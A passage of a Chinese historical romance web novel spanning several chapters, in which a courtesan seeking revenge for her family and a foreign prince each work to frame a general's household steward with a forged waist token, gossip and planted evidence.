恩客一看见她就柔和了脸色,凑上来道:“自然是想你了,小美人儿,上次后院遇见,你可跑得真快。”
盯着他想了想,风月想起来了,上回钻狗洞回来,正好遇见这位客人在跟断弦那啥啥呢,这脸上的横肉,她还算有印象。
假笑了两声,风月道:“客人这是瞧上奴家了,要点奴家的台?”
“自然。”那恩客道:“我可是被你魂牵梦萦了好几天!”
“不巧。”风月道:“奴家接着别的客人呢。”
脸色一变,那恩客往她背后瞧了瞧,见屋子里没动静,当即便不高兴了:“你们这儿的人惯常会耍手段,分明没客人,也硬要说没空?不就是银子吗?你还怕大爷我给不起?”
说着,伸手就掏出一锭银子,在风月面前晃了晃,然后指头一翘就扔在了地上。脸上的表情之傲慢,还带着点不屑。
一般遇见这种被人扔银子羞辱的情节,有点骨气的姑娘都会直接甩对面这人一个耳光,然后从银子上踩过去。楼里的微云姑娘就这么做过,博了个“清高不能以银钱贱之”的好名声。
然而,风月睨了地上的银子一眼,弯腰就捡了起来,放在手里掂量一番,翻了个白眼。
“八两银子,就能这般嚣张点奴家的台?”嘴里嗤了一声,风月捏着那银子,表情比对面那恩客更加傲慢,食指一翻就将银锭往后一扔:“不够。”
恩客怔愣,忍不住“嘿”了一声,指着金妈妈问:“她就这么金贵?”
金妈妈陪笑:“咱们风月最近被人包着,给的都是大额的银票,难免……”
“再大,能有多大?”恩客嗤笑,感觉脸上过不去,当即就也掏了银票出来,数了两张往风月腰带里一塞:“这些够不够?”
夹着银票出来看了看,风月微微心惊,忍不住再打量了面前的人一圈儿。
一百两的面额,就算是在这高门贵人云集的不阴城,能拿出来两张的人也是少数。看打扮,这人不像是商贾。
那就只能是官了。
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什么样的官,能出手这么大方啊?风月笑了,把银票往自己胸口一塞,朝着面前的人就抛了个媚眼:“既然如此,那大人就往里头请吧?”
恩客哼笑,正要跟着她跨进屋子,却听见后头有人问:“这是怎么了?”
众人回头,就见安世冲和徐怀祖两人,一人拿刀一人拿剑,一身正气地朝这边走过来。
胖胖的恩客吓了一跳,收回跨了一半的脚,眼珠子一转,立马转身就朝另一边的楼梯跑!跌跌撞撞的,一溜烟地就没了影。
风月挑了挑眉。
“没怎么,两位少爷快进去用膳吧。”眼瞧着人跑没了,风月回头笑道:“妈妈也去休息吧。”
金妈妈应了一声,看了看这两位小公子,立马拉着断弦就下楼。
断弦不服气得很:“风月还是个新人,瞧着这架子倒是越来越大了!”
金妈妈撇嘴:“咱们这儿只看谁赚的银子多,分什么新旧?你没事也别惹风月,伺候好你自己的客人就成了。”
心有不甘,断弦也多说不了个什么,扭身就走。
进屋关门,风月看了一眼这两个少爷,心想殷戈止还真是会让人找地方吃饭,在她这儿吃,那她还当真接不了客。
“方才那人是谁?瞧着有点眼熟。”安世冲皱眉想了想:“没瞧着正脸。”
“一个客人罢了。”风月笑道:“咱们这儿是从来不问恩客身份的。”
“这样啊。”安世冲点头,老老实实地坐下用膳,倒是旁边的徐怀祖,东瞧西瞧的,在地上捡了锭银子起来。
“真不愧是文人口中的销金窟啊,瞧瞧这遍地的金银,掂着还不轻。”
风月笑了笑:“客**方。”
“能这么大方的客人也少啊。”抬眼看向风月,徐怀祖道:“在下觉得姑娘的客人,似乎都颇有来头。”
“运气好罢了。”
徐怀祖点头,将银子放在桌上,笑了一声:“不过最有来头的,恐怕还是咱们师父,姑娘,咱们师父很是惦记你呢。”
惦记她?风月挑眉,笑眯眯地问:“惦记奴家什么?”
“今日他跟师父耍诈,在打斗时让人喊了你的名字。”安世冲镇定地解释:“师父竟然上当分神了。”
微微一顿,风月有点茫然。
殷戈止有这么在意她?
“他那一分神,这对好刀好剑,就归咱们了。”徐怀祖高兴地道:“说来还得多谢姑娘,待会儿我就让人去给姑娘挑些小玩意儿送来。”
刀剑?风月回神,往他们手里一瞧,这才看见他们拿着的原来是不悔剑和长恨刀。
低笑一声,她摇头:“若是彩头是这个,那便与奴家没什么关系,你们师父定然是一早就打算送给你们,拿我当借口,放了水罢了。”
她就说么,殷戈止那样的人,怎么可能对她这种才认识几日的人上心?
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第26章 你要的证据
远在使臣府的殷大皇子被人惦记着,忍不住打了个喷嚏。
“主子。”观止推门进来,朝他颔首:“已经都安排妥当了,易小姐那边的意思,是想请您帮忙查查内鬼。”
意料之中的事情,易掌珠有点小聪明,大概也是易将军临走前嘱咐了她不可只倚仗一人,所以让太子去追贼人,转过头来让他去查内鬼。
可惜了,他跟太子,对那将军府,似乎都没安什么好心。
“知道了。”颔首应下,殷戈止问:“送东西来的人找到了吗?”
观止低头:“实在难寻,不过属下已经让他们多留意四周,若是还有人来,定然能抓住。”
“嗯。”伸手拿笔,在纸上随手写了个名字,殷戈止道:“内鬼是他,今日开始,便让人好生找找他出卖将军府的罪证吧。”
接过纸,观止同情地看了一眼上头的人名。
王汉。
此人乃将军府总管,忠心多年,权力甚大,易国如诸多的事情,都要从他手上过。要钉死这么个人,没有铁打的证据可不行。
但是主子的命令,有证据要找,没有证据制造证据也要找!观止应下,恭敬地退了出去。
晚膳过后,梦回楼里的两位公子各回各家了,风月躺在软榻上翘着二郎腿。
拿钱不接客,这样的逍遥日子,真是太爽了!
“姑娘,要果脯吗?”门被人敲响了,有小贩在外头吆喝:“香甜软糯的果脯,吃得人笑口常开!”
灵殊一听就眼睛放光:“主子?”
睨她一眼,风月哼笑:“你自个儿拿银子去买,我要一两话梅。”
“好嘞!”小馋猫蹦蹦跳跳地就去开门,外头的小贩笑眯眯地道:“姑娘,要果脯吗?”
“要!我要一两桃子肉、一两干桂圆……啊对,给我家主子来一两话梅。”灵殊馋巴巴地说着,拿了主子妆匣里的银子给他,然后把小贩包好的纸包接过来。
风月笑得慈祥,看她把话梅递给自个儿,抱着两个纸包乐呵呵的样子,便道:“好东西不能独享,你不是与楼里许多丫鬟交好吗?把你的果脯分给她们吃,快去。”
灵殊一听,觉得很有道理,立马开门就跑。
风月起身,笑着将门合上,上了门栓。
打开手里的纸包,将梅子倒在花架上的罐子里,风月熟门熟路地就将包梅子的纸给撕了个口子,扯了夹层的纸出来。
“开始查王汉了?”低笑一声,身子往门上一靠,风月吊儿郎当地笑:“哎呀哎呀,咱们的殷大皇子,当真是心未死,仇难散,真好。”
焚毁了纸条,她重新打开门,靠在门框上朝对面的二楼看了看。
二楼有间屋子敞着门,里头传来些笑声。
“公子喝醉了。”三四个姑娘坐在两侧,中间坐着的男子皮肤黝黑,脸上黑里透红,明显是喝高了。
“爷没醉。”挥挥手,那人又灌了口酒:“爷可是海量,怎么能醉呢?”
何愁掩唇一笑,朝其他姑娘道:“我来伺候吧,姐妹们都先回去休息。”
这是她的房间,也是她的客人,其余人不过凑个赏钱,既然主人开口了,那其他姑娘也就都退了下去。
房门关上,何愁坐去客人怀里,娇笑着道:“奴家总觉得爷气度不凡,比别的客人英武不少。”
“那是自然,爷可是久经沙场的!”恩客醉兮兮地捏了何愁的脸蛋一把,神秘万分地小声道:“偷偷告诉你,爷可是将军府的人。”
微微一顿,何愁装作没听见似的,笑道:“您当真是醉了。”
“怎么?不信啊?”恩客哼了一声,伸手就掏了个牌子出来:“瞧见没有?将军府的腰牌!爷可是一人之下万人之上,掌管着整个将军府呢哈哈哈!”
何愁垂眸,扶着他东倒西歪的身子,未置一词。
“可是最近的事情真是烦死我了。”语气蓦然低沉,恩客起身,往香软的床上一倒,喃喃道:“好歹也是出生入死的兄弟,偏让我来管这家宅后院,出了点事就得找我,怪我没管好。呔!老子真该回家种地去!”
来这儿的客人,很多都是不开心了、压力大了,求个一醉方休。梦回楼的姑娘向来口风最紧,所以在这儿的客人,也就最放松。
王汉躺在床上,嘀嘀咕咕地抱怨了好一通,何愁跪坐在床边听着,面带微笑,直到他完全睡着。
伸手从他手里拿了腰牌,何愁不声不响地朝自家丫鬟离秋使了个眼色。
离秋会意,接了腰牌就飞快地往响玉街跑,找着个卖杂货的铺子,一溜烟地就钻了进去。
一夜好梦,醒来的王汉看了看四周,瞧见桌上放着的自己的腰牌,微微一凛,连忙起身收进怀里。
外头已经亮了,何愁打水进来,朝他温柔一笑:“公子起身了?您昨儿醉得厉害,胡乱扔东西,奴家也不认得是什么,就瞧着贵重,便给您放桌上了。”
心下一松,王汉笑了笑:“还是你体贴人。”
说着,洗了把脸亲了她一口就出门了。
睡到日上三竿的风月,顶着鸡窝头起床,慢悠悠地梳洗打扮。
“外头的姑娘们都忙**,咱们好像太闲了点啊。”灵殊一边帮她梳头一边嘀咕:“也不知道是好是坏。”
从镜子里看她一眼,风月挑眉:“小丫头无聊了?”
“是有点。”扁扁嘴,灵殊道:“咱们要不要偷偷上街去买点什么啊?”
“好啊。”犹豫一下都不曾,风月点头便应了:“正好我想去杂货铺看看货,听闻那儿进了不少好的木材玉种,要是有好的,便做块儿玉佩也不错。”
灵殊点头,立马给改了个良家闺女的发髻,找了身粗布衣裳让自家主子裹了,偷偷摸摸地就从后院的狗洞里爬出去。
妓子上街是要被打的,但是伪装一番,人家也看不出来啊!
大摇大摆地走在响玉街上,灵殊高兴地四处蹦跶,挨个店铺地看。风月也不嫌烦,跟着她四处瞧,到了杂货铺的时候,才道:“你先去前头卖小笼包的地方占个座,我进去这儿瞧两眼。”
单纯的灵殊一口就应了,甩着辫子继续往前蹦跶,风月拎
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着裙子进了杂货铺,掌柜的一看她就笑:“客官要点什么?有刚到的货。”
“拿来瞧瞧。”
红木的盒子,打开看见的就是将军府的腰牌,正面是鎏金的“易”字,背面右下角刻着持有者的名字:王汉。
“掌柜的手艺是越来越好了。”风月低笑:“当真是真假难辨。”
“过奖。”掌柜的拱手:“里头还有些陈年的货,客官若是感兴趣,也可以再看看。”
“不了。”合了盒子,风月笑道:“现在只要这个就够了。”
刚好有这么巧,王汉就是梦回楼的客人,点何愁的台大概也有小半年了,要仿刻他的腰牌,比别的都容易。
出了杂货铺,风月往前去与灵殊汇合,笑眯眯地道:“听说安居街那边有一家烤肉店,烤的肉香气四溢,很是好吃,咱们不如就去那边用午膳?”
一听烤肉,灵殊想也不想就点头:“好!”
安居街是条甚为繁华的街,隔壁就是官邸的分界,出来享用美食的贵人不少。风月带着灵殊坐在烤肉店的二楼,没一会儿就见着许多妇人跨进了门。
王汉的夫人李氏是最爱吃这家的烤肉的,每隔几日就会带着一群手帕交来光顾,今儿运气不错,当真让她给堵着了。
“咱们上楼去吃。”扫一眼大堂,有身份有地位的李氏自然是上二楼来了。
风月一笑,张口就道:“哎,灵殊,你记不记得昨儿爹爹提过的那个王大人?”
正准备吃肉的灵殊一脸懵逼地抬头看她。
啥王大人?
责备地看她一眼,风月跺脚:“就是将军府那个啊,爹爹不是说,他以前跟着易将军征战沙场,很是威风吗?前些日子我去打听了,他如今在将军府,竟然成了个下人。”
踏上楼梯的脚一顿,李氏不悦地拦住身后众人,自个儿往上走几步,伸了头去看说话的人。
一桌两个姑娘,有个背对着她,对面那个姑娘正在喋喋不休:“本来我好崇敬那些上阵杀敌的人,但是一看建功立业回来,下场这么惨,我又觉得可惜。哎,按道理说,王将军那样的功勋,怎么也该给个爵位安享余生的……”
王汉以前就是易国如的副将,奈何在与魏国的一场战役中被关苍海打断了腿,又伤了经脉,易国如念他忠诚,便让他退回不阴城,在自己府上管事。
老实说,将军府的管事,地位一点也不比普通的爵爷低,但是名头不好听啊,再是管家,那也是个家奴,说出去哪里光彩?
李氏本来还不觉得有什么,听了这些闲言碎语,心里反而是膈应了。
她也是内吏家的女儿,有点身份的,嫁过来给个家奴为妻,就算王汉再得将军信任,她脸上也无光。
肉没心思吃了,李氏转头就下楼。
灵殊目瞪口呆地看着自家主子,眨眨眼,完全没听懂她在说什么,但嘴里塞着肉,倒也吭不了声。
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第27章 可怕的人
见人都走了,风月笑眯眯地给灵殊多塞了点肉:“你不用听懂,乖乖吃哈。”
灵殊眨眼,咽了嘴里的肉,突然很是正经地小声嘀咕:“主子,有时候奴婢总觉得,您有事情瞒着奴婢。”
风月笑得半点不心虚:“我瞒着你做什么?就是有些事情,大人能懂,小孩子不能懂而已,明白吗?”
是因为她没长大的原因?灵殊低头细想,好像也挺有道理的,那就再多等几年吧!
先继续吃肉!
李氏回府,一路上几个手帕交都在小声议论,有人道:“我倒是觉得方才那姑娘说的并无错处,王将军在民间也是颇有威望的,只是……到底是屈才了。”
“将军器重信任,我也不能多说什么。”李氏脸色不太好看,奈何还不能直接说易将军的不是,只能咬牙忍了。
“王家夫人。”刚要回自家宅子,就见将军府上的家奴来了,捧着件儿衣裳喜气洋洋地道:“将军府发了新衣,这是王管家的,您帮忙收着。”
灰褐色的袍子,饶是用的丝绸的面料,那也是灰褐色的,同将军府其他下人一个颜色,至多不过花纹好看点。
要是平时,李氏说不定还挺高兴的,可是今日,她横竖就是看不顺眼,冷笑一声就道:“我家相公不缺衣裳,非得穿这种东西不成?拿回去!”
家奴吓了一跳,愕然抬头,就见王宅的大门“嘭”地关上,碰了他一鼻子的灰。
挠挠头,他也不知道这是怎么了,看了看手里的袍子,还是拿回将军府去。
殷戈止正坐在将军府的花厅里喝茶,易掌珠在他旁边,神色颇为委屈。
“我到底还是太不中用了。”她垂眸:“什么都做不好,将军府也管不好。”
殷戈止道:“管事是男人该做的,府上不是还有王管家吗?你一个弱女子,操心那些做什么?”
“可是……”易掌珠红了眼:“爹爹就我一个女儿,我偏生还体弱多病不堪用,这回府上还出了这样的事情,爹爹一定很失望……”
殷戈止不擅长安慰人,看她哭,也只能看着,脸上表情都不带变一下的。
易掌珠咬牙,有点埋怨地看他一眼:“殷哥哥还是这般不会体贴。”
“抱歉。”殷戈止道:“我会早点查出内鬼,不会让将军怪罪到你头上。”
平平淡淡的一句话,易掌珠倒是听得有点脸红。
这样寡言少语、不会说话、但十分可靠的男人,实在很是令人心动。
“你有怀疑的对象吗?”殷戈止问了一句。
回过神,易掌珠皱眉:“府里的人都是爹爹亲自选的,爹爹信任的人……我当真不知道该怀疑谁。”
“做事总有动机,没有人会无缘无故辜负将军的信任。”身子微微前倾,殷戈止看着门外道:“为权为财,亦或是受人要挟,府里总会有人露出破绽。”
微微颔首,易掌珠道:“如此,殷哥哥不如在府上住两日,也方便些。”
“这……”殷戈止皱眉沉思。
易掌珠连忙道:“府上人多,殷哥哥不必担忧什么的。”
“好吧。”勉强应了,殷戈止道:“就住两日。”
“掌珠马上命人去安排!”高兴地起身,易掌珠跑出去就让人收拾房间。
于是用过晚膳没一会儿,风月房间里就多了个人。
“唉。”叶御卿摇着扇子叹息,声音听起来颇为愁苦:“风月,我哪儿不好吗?”
笑眯眯地给他倒茶,风月道:“公子人品相貌都是上乘,何以有此一问?”
“殷戈止今日搬去将军府住了。”喝了口茶,叶御卿又叹了口气:“珠儿可没邀过我去住将军府。”
这是女人被人抢了?风月挑眉,仔仔细细认认真真地捏着叶御卿的下巴看了好一会儿。
叶御卿微怔,没想到她会有这种动作,倒是没反抗,任由她看着自己,眼里波光缓缓。
“公子颜如渥丹,倾国倾城。”中肯地给出评价,风月道:“若是奴家来选,肯定会在府里给公子修个金屋子,只给公子住。”
被这话给逗得一乐,叶御卿侧头失笑,摇头道:“都说你们这儿的姑娘很会让人开心,今儿我算是见识了。不过,他不来你这里,倒是去将军府住了,你没有不开心?”
“不开心个啥?”风月耸肩:“恩客来来去去的多了去了,更何况那位爷身份高贵,想去哪儿住,还能是我这个风尘女子能决定的?去也就去了,等再过两日,奴家也能接您的客了。”
还真是坦荡,坦荡得像是对殷戈止一点感情都没有,要不是上回撞见她那眼神,叶御卿差点就要相信这鬼话了。
面前这女人有很多副面孔,妩媚的、豪放不羁的、冷漠疏离的,他观察了她很久,却还是分不清哪个是真实的。
怎么会有人这么有趣呢?
“我还以为他对你有些情意,你怎么也该多在意他一些。”叶御卿笑得温和无害:“哎呀呀,你说他们俩住在一起,要是发生点什么不该发生的,可怎么是好?”
大概是伺候殷戈止那种冰山习惯了,乍遇见个这么温柔活泼的男人,风月还有点不适应,嘴角抽了抽便道:“不会发生什么的,倒是有个问题,奴家想问很久了。”
“什么?”
“听闻您曾跟易小姐求过亲。”看着他,风月八卦兮兮地问:“您这样的身份,她怎么会不同意?”
眼神一黯,叶御卿像是伤了心,声音都低沉了下来:“不是她不同意,是易将军说舍不得,要过两年再嫁。”
易将军竟然会拒皇子的婚?风月咋舌。
不过人家易府地位高,兵权重,可不像关苍海那般傻兮兮的手里什么也不留,吴国皇帝拿人家没办法,拒也就拒了呗。
“两年不长不短,可中间会发生什么事,谁也不知道。”叶御卿道:“就像今天晚上,孤男寡女同住一处,万一有些什么,那两年之后,易家的轿子也不会进我东宫的门。”
就这么喜欢易掌珠啊?风月瞧着都有点不忍心了,下意识地就伸手拍了拍他的肩膀:“哥们,别太伤心了,实在不放心,那就去看看呗?”
叶御卿一顿,被她这潇洒的动作震得眉梢跳了跳。
察觉到失态,风月不动声色地就收回了手,装作什么
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也没发生,转身就去推开了窗户,看了一眼外头的天色:“啊,今晚月亮真大。”
扫了自己肩膀一眼,叶御卿站起来,合了扇子道:“该发生的总会发生,去看也没什么用,我只是来找你聊聊天,心里舒坦了,也就该回去了。”
风月点头,笑眯眯地送人家出门,临到门口,太子殿下突然又回过头来,伸手从门外的侍从手里拿了盒东西递给她。
“你好像很喜欢吃这家的绿豆糕,今日顺路,替你带了点。”
响玉街的绿豆糕。
心里猛地一沉,风月有些茫然地抬头看了面前的人一眼。
谦谦君子,体贴多情,眼如清河,里头却有她看不懂的东西。
“您怎知奴家爱吃这一家的糕点?”尽量让自己声音不抖,风月笑着问。
叶御卿目光怜惜地看着她:“既然是中意姑娘,在下自当了解姑娘喜好,以便投其所好。”
只是这样而已吗?风月看着他,突然想起了这不阴城里关于太子的传言——
“七尺俊朗少年郎,眉眼含玉惹蝶狂。挽袖微服民间逛,家国大事不坐堂。温言软语得人心,自是端正好栋梁。若真付其心与肠,粉身碎骨短松冈。”
以前听见这打油诗的时候,风月还笑过,说什么乱七八糟的,好歹是一国太子,怎么可能这般口蜜腹剑,又怎么会让人传成了打油诗?若当真那般阴险,有人说他半句不是,都该被砍了才对。
然而现在,站在自己房间的门口,手里捏着他刚递来的绿豆糕盒子,风月突然能明白写诗的人曾经经历过什么了。
分明是一张笑得好看极了的脸,不知怎的却让人透骨生凉。
“瞧你,脸都发白了,伤还未愈,还是该好好休息。”伸手替她将鬓发别在耳后,叶御卿笑着摆手:“先告辞了。”
呆呆地点头,风月合上了门。
她突然明白为什么殷戈止让她不要接近叶御卿了,不是怕她勾引太子沉迷女色,而是怕她是谁家派来刺探太子的人。真是的话,那叶御卿立马就会查清她的底细弄死她,并且提高警惕,别的招数再也近不得他的身。
原来如此。
可惜了,她是一个没有底细的人。
低头看看手里的盒子,风月拍了拍胸口。她做事一向天衣无缝,老板娘他们也是个中老手,没道理这么快被人发现的,大概只是来吓唬吓唬她而已,不用这么慌。
大概是心绪不宁,晚上睡觉的时候,风月做了旧梦。
“主子快走!”有人满身是血地推着她,换上她的衣裳,戴上她的发钗,一双眼悲切地看着她:“您只有活着,才能让关家**有**的可能!”
**?风月嗤笑,眼里一片血光:“**有用吗?哥哥说得对,冤又如何,不冤又如何?就算**,我关家满门都活不过来了,既然如此,那是谁的血债,谁就来血偿!”
“哪怕下十八层地狱,我都会将这些人一个个找出来,**万段!”
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第28章 弄死一个是一个
梦里的人是不理解她的,睁眼惊恐地看着她:“将军一生行正道……”
“所以老头子的一生,肯定是会被人歌颂的。”她笑,系上丫鬟的发带,红着眼眶道:“但我不需要,从小就被他骂没个正经,他人没了,我更不会正经。”
“只有杀戮才能偿还杀戮,只有鲜血才能抚平鲜血,别他奶奶的给我说正道、名义、宽容、**,老头子没了,老子要他们**,**!”
关清越就是这么个放荡不羁的人,不服礼仪,不服管教,一身的好功夫在十二岁之后就能顺利逃脱家法,上天入地,也只有关苍海能让她老实片刻。
这样的人,看上谁了就乔装去他身边守着,嫁不得自己喜欢的人了就跟喜欢的人上个床圆满圆满,谁打她一下她**家十下,谁给她一块点心她还人家十块。
这样的人,以女儿之身笑傲千兵万马,征战沙场,以血止戈。
这样的人,快意恩仇,敢爱敢恨,一匹烈马一身戎装,潇洒得像阵风。
这样的人,现在是个低贱到泥土里的妓子。
“你叫什么名字?”恍惚间,有人问她。
她咧着嘴笑,说:“我叫关风月,招摇街、梦回楼、关风月。”
……
金戈铁马之声响于梦里,有战马上的人夺了敌军将领首级回头,看见千万个头盔下,有一抹笑意灿烂如阳。
那笑容很好看,不是男子的,是女子的。蓦然间盔甲里像是有红纱飞了出来,在强烈的光芒之中烈烈缠绵,迷了人的眼。
身子一僵,殷戈止醒了。
好奇怪的梦,盔甲里还能飞出红纱来?
揉揉额头,他觉得最近一定是被风月毒害了,以至于做这些个古里古怪的梦。
“主子。”见他醒了,观止面带愧色地递过一个黄梨木的盒子来:“这个东西,又来了。”
嗯?看了看盒子,又看了看他的脸色,殷戈止皱眉:“没抓到?”
“刚来将军府,都没有准备好,所以……”
挥袖让他不必再说,殷戈止起身,将那盒子打开。
一张腰牌,一封书信,他先看了信,眯了眯眼,又看了看腰牌。
竟然知道他在查王汉,还将这些东西给他送上门来?殷戈止冷笑出声:“真是厉害。”
“主子,怎么办?”观止觉得背后发凉:“会不会被人设计?”
起身烧了信纸,殷戈止捏了腰牌,面无表情地问:“你传令做事的人,有几个?”
“五个。”
“很好,我给你五道命令,你分发给他们,记着,分开给,什么命令给了什么人,你记下来。”
“是。”
在他面前耍花样?那就好好耍吧。
洗漱用膳,早膳之后,殷戈止出门,正好遇见易掌珠。
“殷哥哥起身了?”朝他一笑,易掌珠道:“今日掌珠要去山间放茶,给过山的路人喝,殷哥哥要一起去吗?”
要是普通人提出这种要求,殷戈止会觉得有病,路人赶路,自己不会带水?不会饮河水?还去给他们放茶,有什么用?
然而,提出这种慈悲光芒万丈的想法的,是易掌珠,他颔首就应了:“去吧。”
易掌珠的菩萨名声在不阴城是响当当的,夏日发凉茶,冬日发棉被,一粟街总会有将军府的救济棚子,虽不论那些个东西是不是都发到需要的人手里了,但有这样的心,就是格外善良,与那些青楼赚钱自己享乐的妖艳**完全不一样。
关**莫名地觉得背后发凉,抬头往四周看了看,又继续低头吃她的山珍海味。
“要是不阴城每个高门都能捐点银两出来就好了。”易掌珠一边爬山一边道:“光将军府一家救济难民,也不是个事儿。可我每次去别府说道,他们就算肯捐,脸上也是不太乐意的。”
“殷哥哥,你说,人心有时候是不是很冷漠?分明自己能吃饱穿暖,却不愿意让别人也吃饱穿暖。”
殷戈止抿唇,不置可否。
易掌珠自顾自地道:“我有时候也想自私一点,那样爹爹就不会总是说我浪费钱财,可是看看自己衣着光鲜,再想想世上还有那么多人饿死,我心里就难受。”
像是触动了情绪,易掌珠突然就哭了,蹲在山道上,伤伤心心地哭了起来。
殷戈止低头看她,突然怔了怔。
易掌珠哭得梨花带雨,很是漂亮,眼泪像珠子一样一串串地往下掉,手帕擦着鼻下,半点鼻涕也没有。
“是个人哭都会有鼻涕,有的姑娘想凄美点,就把鼻涕擦了。”
脑海里不知怎么的就响起风月说的话,殷戈止挑眉,蓦地就笑了。
当真是笑,脸上的轮廓柔和下来,嘴角弯出极好看的弧度,眼里亮晶晶的。光从头顶的树叶间隙洒下来,斑驳迷人。
易掌珠看傻了眼,张大嘴抬着头,一时都忘了哭。
“你……”
回过神,脸上的笑意瞬间消失,殷戈止转身,继续往山上走:“要赶在天黑之前下山,就早点上去吧。”
“……好。”
殷戈止原来是会笑的啊?走了好久易掌珠才想起来问:“你笑什么?”
她哭得那么伤心,是个男人都该好生安慰啊,他还笑?笑得好看也不行啊,有这样的吗?
哪知前头的人面无表情,很是正经地道:“你眼花了罢?我何时笑过?”
被他这认真的语气一震,易掌珠低头,认真地开始怀疑是不是自己眼花了。
山上送完凉茶下来,一到将军府,观止就来低声回禀:“命令已经发下去了。”
“嗯”了一声,殷戈止转头看向易掌珠:“刚刚收到个消息,还请借一步说话。”
看观止那神神秘秘的样子,易掌珠很是好奇,跟着殷戈止就进了客房。
“查到什么了?”
伸手打开桌上的盒子,拿出腰牌看了看,殷戈止道:“这是不是贵府的东西?”
往他手上一瞧,易掌珠吓了一跳:“王总管的腰牌?怎么会在你这里?”
“方才观止说,有家客栈的掌柜发现了点将军府的东西,于是都放在这盒子里送来了
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。”脸不红心不跳地骗人,殷戈止道:“大概是贼人逃窜之时嫌带着累赘想丢弃,结果被客栈的人在杂物堆里捡到了。”
翻看了那腰牌两遍,又打开桌上的黄梨木盒,在看见将军府地图之时,易掌珠脸色变了,倒吸一口凉气:“这!”
她就说么,她就说么!这将军府守卫那般森严,贼人怎么可能进得来,原来是有了内应,拿着这块腰牌,人就能进将军府潜伏,等晚上一到,照着这机关地图就去书房偷东西,必定全身而退!
好个王管家啊!
“我去找他算账!”拍桌起身就要走,眼前却有人影一闪。
伸手按着门,殷戈止皱眉低头看着她:“你先别冲动,王管家在府上尽忠多年,深得将军信任,总得找出他背叛将军府的原因才好定罪,不然将军回来,你怎么跟他交代?”
女子到底是冲动些,听他一说,易掌珠冷静了下来,想了想:“殷哥哥觉得该如何?”
“总要找到他这样做的原因。”殷戈止道:“王管家平时,可有对府上何处不满吗?”
这么一问,易掌珠还真说不上来,开门就喊了个家奴来,低声问:“王管家在哪儿?”
家奴躬身道:“应该是在他的宅子里,不过看起来似乎跟他家夫人吵架了,刚送过去的衣裳都被退了回来。”
“嗯?”易掌珠挑眉:“他跟夫人吵架,退将军府的衣裳做什么?”
“奴才也不知道,瞧着李氏心情不太好,奴才说刚做的衣裳,她还道王管家又不是没衣裳穿,做什么要穿将军府的衣裳。”
说着,还疑惑地摇了摇头:“奴才也不知道到底是不是吵架了。”
奇奇怪怪的啊,殷戈止侧头道:“你要真是想知道,不如找你的丫鬟去问问王管家宅子里的人。”
好主意!易掌珠立马照做。
也不知道是有神助还是怎么的,套话意外地顺利,丫鬟没一会儿就来回禀,低声说了李氏闹脾气的原因。
“荒谬!”易掌珠恼怒地道:“父亲留他在府里,是因为信任他,有些事不放心给别人做。他倒是好,反而在意个身份,为此出卖父亲?人家给他什么了?金银钱财还是许他官职?”
殷戈止叹了口气:“此事,还得再多查查,等查到背后指使,再问罪不迟。”
不管是谁在背后相助,这件事进行到这一步,那就是顺理成章了,第二天殷戈止就在王汉的宅子里找到大量来历不明的财物,顺便把一脸茫然的王汉送进了大牢。
“证据确凿,我不会放过他的!”易掌珠气得直哆嗦:“这样吃里扒外的东西,将军府少一个是一个!”
的确是吃里扒外的东西,殷戈止站在旁边,眸色阴暗。
王汉曾在关苍海麾下为副将,后被揭穿卧底身份,直接投奔吴国,反手斩杀魏国数十士兵,在后来的战役里屡屡为吴国立功。
他是个魏国人,却甘心做了吴国的狗。
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第29章 想当花魁?
这样的狗,死有余辜,报应来得晚,也终归是来了。
“殷哥哥辛苦。”回头看着他,易掌珠万分感激:“珠儿倒是不知道拿什么报答。”
“不必。”朝她颔首,殷戈止道:“事已了结,在下也当告辞。”
易掌珠一愣,看着面前这人,捏了捏手帕,神色有点委屈。
殷戈止仿佛没看见,转身就带着观止回住处收拾。
“点钗。”难过地转身看着自己的丫鬟,易掌珠问:“他是不是一点也不喜欢我?”
点钗瞪眼,扶着她的手臂道:“小姐,您想什么呢?整个不阴城都知道,殷殿下最不爱掺和事。为了您,都住到将军府来了,还抓出了内鬼,还陪您上山发茶。不是奴婢说啊,整个不阴城,能让殷殿下这么看重的,也只有您了!”
是吗?易掌珠垂眸:“可是,换做别人,也应该在这儿多住两日啊,事情一结束他就走……”
“大概是避嫌吧。”点钗道:“毕竟将军不在府上,他长住也不像话。”
这样啊。
缓了神色,易掌珠高兴了些,点头道:“给殷哥哥准备点谢礼吧。”
“是。”点钗笑着陪她回去闺房,路上不断嘀咕:“眼下整个不阴城,所有待字闺中的姑娘,就属您身份最贵重,也最得人心,任是谁都想围着您转呢,您该更加相信自己才是,殷殿下不善言辞,但瞧这行为,心里定然是有您的。再说了,就算身份尴尬不能与殷殿下有什么结果,您还有太子殿下呢!”
易将军的掌上明珠、高贵的出身、柔美的长相、她好像一生来什么都有了,可惜的是,喜欢的人好像不能成眷侣,而叶御卿……又对她好得让她愧疚。
问世间情为何物啊……
“主子。”
刚跨进使臣府的大门,观止就叫了一声。
殷戈止皱眉抬头,就见院子的空地上,放了一个黄梨木的盒子。
昨天放的消息,今天就能送来东西,动作还真是快呢。
冷笑一声,他过去捡了盒子打开看,里头放着的是一张轻飘飘的状纸。
“查护城军都尉的事,你交给谁去办的?”殷戈止问。
观止无声地递了一张牌子过来,上头刻着个人名——干将。
“派人监视他。”收了东西,殷戈止进屋更衣:“把他背后的人给我找出来。”
“是。”
风月正抖着腿吃着梅子呢,冷不防打了寒战,往自个儿背后瞧了瞧,窗外**无云,是个好天气。
但是怎么总觉得有事要发生呢?
“主子主子!”灵殊跟屁股着火了似的蹿进来,绕着她跑了三个圈圈,激动地道:“出大事了啊!奴婢忘记提醒您,今晚有花魁选举!”
眨眨眼,风月伸出食指抵住她的额头,大喊了一声:“定!”
灵殊立马僵住了身子,水灵灵的大眼睛直转悠。
“花魁选举我知道啊。”风月笑眯眯地道:“但你家主子对现在的状况很满意,花魁什么的,让她们去抢吧。”
她也就是想勾搭叶御卿而已,已经多附赠了一个殷戈止,她还去抢花魁干嘛?吃饱了撑的?
“可是……”扁了扁嘴,灵殊不高兴地道:“您听听楼里那些个姑娘是怎么编排您的?今儿好多人都等着看您的笑话呢!说您只会…只会跳没羞没臊的舞,别的什么都不会,绣花枕头一包草!”
“哦。”风月点头:“这话说得挺中肯的。”
灵殊:“……”
“安心吧小丫头。”风月勾着嘴角笑:“你家主子想要的,用尽手段都会得到。不想要的,别人再怎么说,我也不会动。”
泄了气,灵殊的小脑袋“呯”地一声砸在桌子上,装死。
风月看得好笑,起身往她嘴里塞了梅子,便打开门往大堂里看。
